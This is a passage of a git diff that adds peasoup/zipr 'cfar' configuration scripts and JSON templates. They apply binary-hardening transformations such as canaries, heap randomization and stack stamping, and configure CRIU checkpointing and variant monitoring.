+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step initialize_stack=on --structured_stack_init --structured_ds --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step xor_globals=on --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOF_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..84d10344491fe7e8c1226170830d67223bb002ec
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step noh=on --step nol=on --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOF_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..366cbc9da24464342b2b29a6762a2a880fccf4dc
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_probHeaprand_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --step-option zipr:"--large_only:on true" --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..1ffeca1db796742ef7fb30cfa1620291523c01f7
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_probDS_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_probDS_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..11c634e691a894b093e86568979044b33ad19bb5
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_probDS_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step duck_season=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structDSX_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structDSX_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..80ad13551110d39c7d1bf112d037ad8b76e358b1
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structDSX_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step duck_season=on --structured_ds --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive --step-option duck_season:--xor
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structDSX_structSI_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structDSX_structSI_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..93db1f5fc58743bb55d87719676cacdc771b1fc2
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structDSX_structSI_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structure_heap --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step duck_season=on --step initialize_stack=on --structured_stack_init --structured_ds --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive --step-option duck_season:--xor 
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structDS_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structDS_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..927a7455efe579c80efb2ca0008b81fb422a179a
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structDS_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step duck_season=on --structured_ds --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structSI_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structSI_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..17c66909d3c3b2a56e48d4833b5f14defc7e9d11
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_structSS_structSI_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step initialize_stack=on --structured_stack_init --structured_ds --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogOF_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..60d6a53341532eb56759c315d8d47868d4fa88e9
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogOF_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --step-option zipr:"--large_only:on true" --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step-option zipr:"--large_only:nog_on true --large_only:overflow_protection true" --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogX_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogX_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f1bf4734c185379f24d4192f75ef86a84bcdbf99
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogX_phase1_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step xor_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNogX_structSS_structSI_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNogX_structSS_structSI_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..fad3f5af5f27443f01f5379a7fd2abeae9f83a1d
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNogX_structSS_structSI_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step initialize_stack=on --structured_stack_init --structured_ds --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step xor_globals=on --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNog_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNog_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..cc2ec3c3fd8a99146c4f50718f891289b7d6202c
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNog_phase1_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNog_structNoc_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNog_structNoc_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..362298b99b90bd47f02b5c27a089786b353585d5
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNog_structNoc_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_noc --step-option zipr:"--large_only:on true" --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --structured_nog --step-option zipr:"--large_only:nog_on true " --step-option move_globals:-d --step-option move_globals:.interp 
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNog_structNol_structNoh_structNos_structNoc_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNog_structNol_structNoh_structNos_structNoc_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..2b23b99bf88fd3b572eece8f2366524122f07fc3
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNog_structNol_structNoh_structNos_structNoc_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step-option move_globals:-d --step-option move_globals:.interp
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNog_structNol_structNoh_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNog_structNol_structNoh_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..3d6d1ebadfc4c6da624a748496d93d5213fdd7b9
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNog_structNol_structNoh_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step-option move_globals:-d --step-option move_globals:.interp
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNog_structSS_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNog_structSS_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..4b7e5f46916b848411f9639b6511fecdd8acceb6
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNog_structSS_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true " --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNog_structSS_structSI_phase1_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNog_structSS_structSI_phase1_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..261ca9568f5ac6face2787b2791d2ccdf1e7add1
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNog_structSS_structSI_phase1_zipr.sh
@@ -0,0 +1,6 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step initialize_stack=on --structured_stack_init --structured_ds --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step move_globals=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --structured_nog --step-option zipr:"--large_only:nog_on true" --step noh=on --step nol=on --step stack_stamp=on --structured_stack_stamp --step-option move_globals:-d --step-option move_globals:.interp --step-option move_globals:--aggressive
+
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoh_probIlr_structP1Canaries_probHeaprand_structNos_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoh_probIlr_structP1Canaries_probHeaprand_structNos_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a2fa3391682ca367fd40c35388c37a596c55be25
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoh_probIlr_structP1Canaries_probHeaprand_structNos_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step ilr=on --structured_p1_canaries --structured_nos --step non_overlapping_stack=on --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on --step noh=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNoh_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNoh_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..92a2beb08e77a0755159ad646fcf9f476f88a565
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNoh_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//") --step noh=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNol_structNoh_probIlr_structP1Canaries_probHeaprand_structNos_strata.sh b/peasoup_examples/tools/cfar_configs/cfar_structNol_structNoh_probIlr_structP1Canaries_probHeaprand_structNos_strata.sh
new file mode 100755
index 0000000000000000000000000000000000000000..ea3685b4b69a6a1b3b7533793ec5497b342a6157
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNol_structNoh_probIlr_structP1Canaries_probHeaprand_structNos_strata.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend strata --step ilr=on --structured_p1_canaries --structured_nos --step non_overlapping_stack=on --step p1transform=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --config_name $(basename $0 .sh|sed "s/cfar_//") --step diehard=on --step noh=on --step nol=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNol_structNoh_structNos_structNoc_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNol_structNoh_structNos_structNoc_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a0536df33ea24485cac1c3ab208e18218e1be592
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNol_structNoh_structNos_structNoc_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --step non_overlapping_stack=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --config_name $(basename $0 .sh|sed "s/cfar_//") --step noh=on --step nol=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNol_structNoh_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNol_structNoh_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f309cf95b709975b5f7879a4f59afe942d1c4a40
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNol_structNoh_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --step set_interpreter=on --step-option set_interpreter:"--interp /target_apps/ld-nol.so" --config_name $(basename $0 .sh|sed "s/cfar_//") --step noh=on --step nol=on
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..399e9e759184fabf86a94328b94a6e462dd7b731
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structNos_structNoc_structP1Canaries_probHeaprand_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step diehard=on --step-option zipr:"--zipr:seed $$" --structured_heap --structured_noc --structured_nos --step-option zipr:"--large_only:on true" --structured_p1_canaries  --step p1transform=on --step non_overlapping_stack=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structP1Canaries_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structP1Canaries_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..9f04cfd0d8005d440f2c00cbfa37b87959d3ae09
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structP1Canaries_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_p1_canaries  --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//")
diff --git a/peasoup_examples/tools/cfar_configs/cfar_structP1FloatingCanary_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_structP1FloatingCanary_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..6d87aec4ab9673e5333045279adb305a8b3b9bd2
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_structP1FloatingCanary_zipr.sh
@@ -0,0 +1,10 @@
+#!/bin/bash -x
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+if [ ! -z $NO_FLOAT ];
+then
+	$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_p1_canaries --step p1transform=on --config_name $(basename $0 .sh|sed "s/cfar_//")
+else
+	$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --step-option zipr:"--zipr:seed $$" --structured_p1_canaries --step p1transform=on --step-option p1transform:"--floating_canary" --config_name $(basename $0 .sh|sed "s/cfar_//")
+fi
diff --git a/peasoup_examples/tools/cfar_configs/cfar_xcheck_zipr.sh b/peasoup_examples/tools/cfar_configs/cfar_xcheck_zipr.sh
new file mode 100755
index 0000000000000000000000000000000000000000..6eed6c53942d527e4dd1f47641bcbdd1261e7711
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cfar_xcheck_zipr.sh
@@ -0,0 +1,5 @@
+#!/bin/bash 
+source $(dirname $0)/../ps_wrapper.source $0
+
+
+$PEASOUP_HOME/tools/cfar.sh "$@" --backend zipr --config_name $(basename $0 .sh|sed "s/cfar_//") -s syscall_xcheck=on
diff --git a/peasoup_examples/tools/cfar_configs/cr_chunk.json.template b/peasoup_examples/tools/cfar_configs/cr_chunk.json.template
new file mode 100644
index 0000000000000000000000000000000000000000..eb171d9455caebcea1a81cf0d8c46d1b13bcbfab
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/cr_chunk.json.template
@@ -0,0 +1,49 @@
+    "cr": {
+        "checkpoint": {
+            "criu": {
+                "exec": {
+                    "argv": [
+                        "--tcp-established",
+                        "--ext-unix-sk",
+                        "-v4",
+                        "--raven-files",
+                        "/testing/results/thttpd.log"
+                    ],
+                    "path": "/usr/sbin/criu"
+                }
+            },
+            "dump": {
+                "top_dir": "/work_dir/images"
+            },
+            "monitor": {
+		<<PRECHECKPOINTCMD>>,
+                "exec": {
+                    "path": "tools/cr_dump.py"
+                },
+                "timeout": 2000
+            }
+        },
+        "restore": {
+            "criu": {
+                "exec": {
+                    "argv": [
+                        "--tcp-established",
+                        "--ext-unix-sk",
+                        "-v4",
+                        "--raven-files",
+                        "/work_dir/thttpd.log"
+                    ],
+                    "path": "/usr/sbin/criu"
+                }
+            },
+            "dump": {
+                "top_dir": "/work_dir/images"
+            },
+            "monitor": {
+                "exec": {
+                    "path": "tools/cr_restore.py"
+                },
+                "timeout": 2000
+            }
+        }
+    },
diff --git a/peasoup_examples/tools/cfar_configs/monitor_chunk.json.template b/peasoup_examples/tools/cfar_configs/monitor_chunk.json.template
new file mode 100644
index 0000000000000000000000000000000000000000..28c5fb93d8c0e2a102fd9e395a1b86e078c8a8ce
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/monitor_chunk.json.template
@@ -0,0 +1,7 @@
+    "monitor" : {
+        "dump_variant_core" : true,
+        <<DETACH_VARIANTS>>,
+        "pre_launch_command": "/target_apps/global/fix_loader.sh /target_apps/monitor.conf"
+
+    },
+
diff --git a/peasoup_examples/tools/cfar_configs/monitor_chunk_with_cr.json.template b/peasoup_examples/tools/cfar_configs/monitor_chunk_with_cr.json.template
new file mode 100644
index 0000000000000000000000000000000000000000..cc72ad21e4db9a59c6da1b6f0dae28ec220467b6
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/monitor_chunk_with_cr.json.template
@@ -0,0 +1,11 @@
+    "monitor" : {
+        "dump_variant_core" : true,
+        <<DETACH_VARIANTS>>,
+        "pre_launch_command": "/target_apps/global/fix_loader.sh /target_apps/monitor.conf",
+        "checkpoint": {
+                "interval": 0,
+                "refresh_period": 0,
+                "refresh_command": "/target_apps/marshaling/refresh.sh "
+        }
+    },
+
diff --git a/peasoup_examples/tools/cfar_configs/pre_checkpoint_cmd.json.template b/peasoup_examples/tools/cfar_configs/pre_checkpoint_cmd.json.template
new file mode 100644
index 0000000000000000000000000000000000000000..173535158e6079e8d8cbce6c9b37b6d41fe00327
--- /dev/null
+++ b/peasoup_examples/tools/cfar_configs/pre_checkpoint_cmd.json.template
@@ -0,0 +1,2 @@
+
